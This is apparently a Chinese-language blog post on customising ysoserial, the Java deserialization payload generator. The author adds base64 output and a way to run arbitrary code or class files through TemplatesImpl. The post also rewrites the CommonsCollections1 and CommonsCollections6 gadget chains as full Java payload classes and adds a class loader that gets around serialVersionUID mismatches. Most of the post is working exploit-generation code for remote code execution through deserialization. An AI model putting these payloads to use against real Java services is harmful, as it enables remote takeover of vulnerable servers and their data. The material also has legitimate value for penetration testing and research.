ysoserial改造

前言

最近感觉有点迷茫,不知道学啥。就想着找点事做,把ysoserial个性化改造一下。

支持base64编码

如果是在linux中,这个功能没啥存在的必要,但是因为我的主系统是windows,并且日常懒得开虚拟机,所以就简单实现一下这个功能。除此之外,还想通过实现这个功能,简单了解一下ysoserial的结构及大致运行流程,为后面实现更复杂的功能做铺垫。

先放一下实现效果

image-20220527213547387

ysoserial的主类是GeneratePayload,直接看到该类的main方法

image-20220527213321808

流程比较明了,当参数不是两个时就会退出,否则就把第一个参数当作类名,第二个参数当作命令。然后就是实例化payload类并调用其getObject方法获取恶意对象,序列化对象及输出是通过Serializer#serialize实现。

这里我的想法是写一个Serializer#base64Serialize方法,当传入参数大于2且第二个参数为base64时就会将第三个参数作为command,然后调用base64Serialize输出base64编码的序列化流。细节不过多阐述,直接上代码

//GeneratePayload.class

public static void main(final String[] args) {
        if (args.length < 2) {
            printUsage();
            System.exit(USAGE_CODE);
        }
        final String payloadType = args[0];
        String command = args[1];

        if(args.length>2 && args[1].equals("base64")){
            command=args[2];
        }else if(args.length>2 && !args[1].equals("base64")){
            printUsage();
            System.exit(USAGE_CODE);
        }

        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
        if (payloadClass == null) {
            System.err.println("Invalid payload type '" + payloadType + "'");
            printUsage();
            System.exit(USAGE_CODE);
            return; // make null analysis happy
        }

        try {
            final ObjectPayload payload = payloadClass.newInstance();
            final Object object = payload.getObject(command);
            PrintStream out = System.out;
            if(args.length>2){
                Serializer.base64Serialize(object);
            }else {
                Serializer.serialize(object, out);
            }
            ObjectPayload.Utils.releasePayload(payload, object);
        } catch (Throwable e) {
            System.err.println("Error while generating or serializing payload");
            e.printStackTrace();
            System.exit(INTERNAL_ERROR_CODE);
        }
        System.exit(0);
    }
//Serializer.class
public static void base64Serialize(final Object obj) throws IOException {
        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(obj);

        final String stringpayload=new String(Base64.getEncoder().encode(ser.toByteArray()));
        System.out.println(stringpayload);
    }

目前就只实现了一下base64编码的功能,后面有精力的话应该会写一个编码模块。

支持执行自定义代码

这个功能已经有师傅实现过了,我就直接踩在巨人的肩膀上实践了。为什么要实现这个功能,大师傅们已经说得很清楚了,我这里也就不再赘述。

这里实现了三种方式来执行自定义代码

  • code:代码 这种方式主要用于代码量比较小时使用
  • codebase64:base64编码的代码 当代码中有引号,双引号,&等字符用该方式
  • classfile:path 直接读取class文件,最推荐的方式,非常实用。

要实现执行自定义代码,离不开TemplatesImpl,所以看到Gadfets#createTemplatesImpl

image-20220528222955879

逻辑比较简单,就是将我们传入的命令(cmd)拼接到java.lang.Runtime.getRuntime().exec()中,然后将该代码插入到生成的类的静态构造方法中,然后构造TemplatesImpl对象。那么要实现执行自定义代码其实很简单,只需要控制插入静态构造方法的语句就行,前两种方法就是基于这种原理,简单写一下

if(command.startsWith("code:")){
            cmd=command.substring(5);
        }else if(command.startsWith("codebase64:")){
            cmd=new String(Base64.getDecoder().decode(command.substring(7)));
        }else if(command.startsWith("classfile:")){
            ......
        }else {
            cmd="java.lang.Runtime.getRuntime().exec(\"" +
                command.replace("\\", "\\\\").replace("\"", "\\\"") +
                "\");";
        }
        clazz.makeClassInitializer().insertAfter(cmd);

第三种方式的实现方法也不难,读取class文件的内容,返回一个byte[],然后利用其生成一个TemplatesImpl对象即可

else if(command.startsWith("classfile:")){
            byte[] bytes=CommonUtils.getClassBytecode(command.substring(10));
            Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                bytes, ClassFiles.classAsBytes(Foo.class)
            });
            Reflections.setFieldValue(templates, "_name", "Pwnr");
            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
            return templates;
        }

然后这里获取class文件的内容写了一个getClassBytecode方法

public static byte[] getClassBytecode(String filename) throws IOException {
        File classFile=new File(filename);
        if(!classFile.exists()){
            throw new FileNotFoundException(filename);
        }

        byte[] buffer = null;
        FileInputStream fileInputStream=new FileInputStream(classFile);
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream((int) classFile.length());
        byte[] b = new byte[(int) classFile.length()];
        int n;
        while ((n = fileInputStream.read(b)) != -1) {
            byteArrayOutputStream.write(b, 0, n);
        }
        fileInputStream.close();
        byteArrayOutputStream.close();
        buffer = byteArrayOutputStream.toByteArray();
        return buffer;
    }

以第三种方法为例看一下实现效果

image-20220528224627985

image-20220528224723697

可以看到这里我用的cc3的链子,为什么不用常用的cc6呢,因为ysoserial中cc6的exp直接调用的java.lang.Runtimeexec方法,而不是使用的TemplatesImpl动态加载字节码,所以这里将yseserial中的cc6和cc1改一改

cc1temp

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1Temp extends PayloadRunner implements ObjectPayload<InvocationHandler>{
    public InvocationHandler getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);

        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
            ConstantTransformer.getInstance(templatesImpl),
            InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
        };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1Temp.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

cc6temp

package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6Temp extends PayloadRunner implements ObjectPayload<Serializable> {
    public Serializable getObject(final String command) throws Exception {
        Object templatesImpl = Gadgets.createTemplatesImpl(command);
        final String[] execArgs = new String[] { command };

        final Transformer[] transformers = new Transformer[] {
            ConstantTransformer.getInstance(templatesImpl),
            InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        Reflections.setAccessible(f);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        Reflections.setAccessible(f2);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        Reflections.setAccessible(keyField);
        keyField.set(node, entry);

        return map;

    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections6Temp.class, args);
    }
}

解决serialVersionUid不一致

解决serialVersionUid前面也学习过了,这里就将利用自定义ClassLoader解决该问题的功能集成到ysoserial

MyClassLoader

package ysoserial.payloads.util;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;

public class MyClassLoader extends ClassLoader{
    private Map<String,byte[]> classMap=new HashMap<String,byte[]>();
    private Map<String, Class> cacheClass = new HashMap<String,Class>();

    //将serialVersionUID不一致的class直接加入classloader
    public void addClass(String classname,byte[] bytecode){
        classMap.put(classname,bytecode);
    }

    //将依赖版本不一致的jar直接加入classloader
    public void addJar(JarFile jarFile) throws IOException {
        Enumeration<JarEntry> entryEnumeration=jarFile.entries();
        JarEntry entry=null;
        while (entryEnumeration.hasMoreElements()){
            entry = (JarEntry)entryEnumeration.nextElement();
            //只对.class文件进行处理
            if(entry.getName().contains(".class")){
                //获取classname
                String classname=entry.getName().replace(".class","").replace("/",".");
                if(this.findLoadedClass(classname) != null){
                    continue;
                }

                //获取字节码
                InputStream inputStream=jarFile.getInputStream(entry);
                ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
                byte[] buffer = new byte[4096];
                int bytesNumRead = 0;
                while ((bytesNumRead = inputStream.read(buffer)) != -1) {
                    byteArrayOutputStream.write(buffer, 0, bytesNumRead);
                }
                byte[] bytecode=byteArrayOutputStream.toByteArray();
                inputStream.close();

                //将获取的classname和字节码存进classmap
                classMap.put(classname,bytecode);
            }
        }
    }

    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] bytecode=classMap.get(name);
        if(bytecode==null){
            throw new ClassNotFoundException();
        }else{
            return super.defineClass(name,bytecode,0, bytecode.length);
        }
    }

    @Override
    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
        synchronized (getClassLoadingLock(name)) {
            Class clazz=cacheClass.get(name);
            if(null!=clazz){
                return clazz;
            }

            try {
                clazz = findClass(name);
                if (null != clazz) {
                    cacheClass.put(name, clazz);
                }else{
                    clazz = super.loadClass(name, resolve);
                }
            } catch (ClassNotFoundException e) {
                clazz = super.loadClass(name, resolve);
            }

            if(resolve){
                resolveClass(clazz);
            }

            return clazz;
        }
    }

    public void cleanLoader(){
        if (classMap != null){
            classMap.clear();
        }
        if (cacheClass != null){
            cacheClass.clear();
        }
    }
}

然后对GeneratePayload.java进行修改

package ysoserial;

import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.InvocationTargetException;
import java.util.*;

import javassist.CannotCompileException;
import javassist.NotFoundException;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;

@SuppressWarnings("rawtypes")
public class GeneratePayload {
    private static final int INTERNAL_ERROR_CODE = 70;
    private static final int USAGE_CODE = 64;

    public static void main(final String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        if (args.length < 2||args.length>4) {
            printUsage();
            System.exit(USAGE_CODE);
        }
        final String payloadType = args[0];
        String command = args[1];

        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
        if (payloadClass == null) {
            System.err.println("Invalid payload type '" + payloadType + "'");
            printUsage();
            System.exit(USAGE_CODE);
            return; // make null analysis happy
        }

        if(args.length>2 && args[1].equals("base64")){
            command=args[args.length-1];
            if(args[2].startsWith("sameUID:")){
                String jarpath=args[2].substring(8);
                Serializer.sameUIDSerialize(payloadClass,jarpath,command,true);
            }
        }else if(args.length>2 && args[1].startsWith("sameUID:")){
            command=args[args.length-1];
            String jarpath=args[1].substring(8);
            Serializer.sameUIDSerialize(payloadClass,jarpath,command,false);
        }else if(args.length>2 && !args[1].equals("base64")){
            printUsage();
            System.exit(USAGE_CODE);
        }

        try {
            final ObjectPayload payload = payloadClass.newInstance();
            final Object object = payload.getObject(command);
            PrintStream out = System.out;
            if(args.length>2 && args[1].equals("base64")){
                Serializer.base64Serialize(object);
            }else {
                Serializer.serialize(object, out);
            }
            ObjectPayload.Utils.releasePayload(payload, object);
        } catch (Throwable e) {
            System.err.println("Error while generating or serializing payload");
            e.printStackTrace();
            System.exit(INTERNAL_ERROR_CODE);
        }
        System.exit(0);
    }

    private static void printUsage() {
        System.err.println("Y SO SERIAL?");
        System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] [base64] [sameUID:jarpath] '[command]'");
        System.err.println("  Available payload types:");

        final List<Class<? extends ObjectPayload>> payloadClasses =
            new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
        Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize

        final List<String[]> rows = new LinkedList<String[]>();
        rows.add(new String[] {"Payload", "Authors", "Dependencies"});
        rows.add(new String[] {"-------", "-------", "------------"});
        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
             rows.add(new String[] {
                payloadClass.getSimpleName(),
                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
            });
        }

        final List<String> lines = Strings.formatTable(rows);

        for (String line : lines) {
            System.err.println("     " + line);
        }
    }
}

最后在Serializer中添加上我们的sameUIDSerialize方法

public static void sameUIDSerialize(final Class<? extends ObjectPayload> payloadClass, String jarpath, String command, boolean flag) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
        String className=payloadClass.getName();

        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.get(className);
        byte[] bytecode=ctClass.toBytecode();

        MyClassLoader myClassLoader=new MyClassLoader();
        myClassLoader.addClass(className,bytecode);

        JarFile jarFile=new JarFile(jarpath);
        myClassLoader.addJar(jarFile);

        Class payloadClasss=myClassLoader.loadClass(className);

        Object objPayload = null;
        Object objGadget = payloadClasss.newInstance();
        Method getObject = objGadget.getClass().getDeclaredMethod("getObject",new Class[]{String.class});
        objPayload = getObject.invoke(objGadget,command);
        myClassLoader.cleanLoader();

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(objPayload);
        oser.close();

        if(flag){
            System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())));
        }else {
            System.out.println(new String(ser.toByteArray()));
        }
        System.exit(0);
    }

看一下效果

image-20220530145528314

参考链接

https://gv7.me/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/#0x01-%E6%84%8F%E4%B9%89

http://wjlshare.com/archives/1575

本文链接:

http://novic4.cn/index.php/archives/35.html
1 + 4 =
快来做第一个评论的人吧~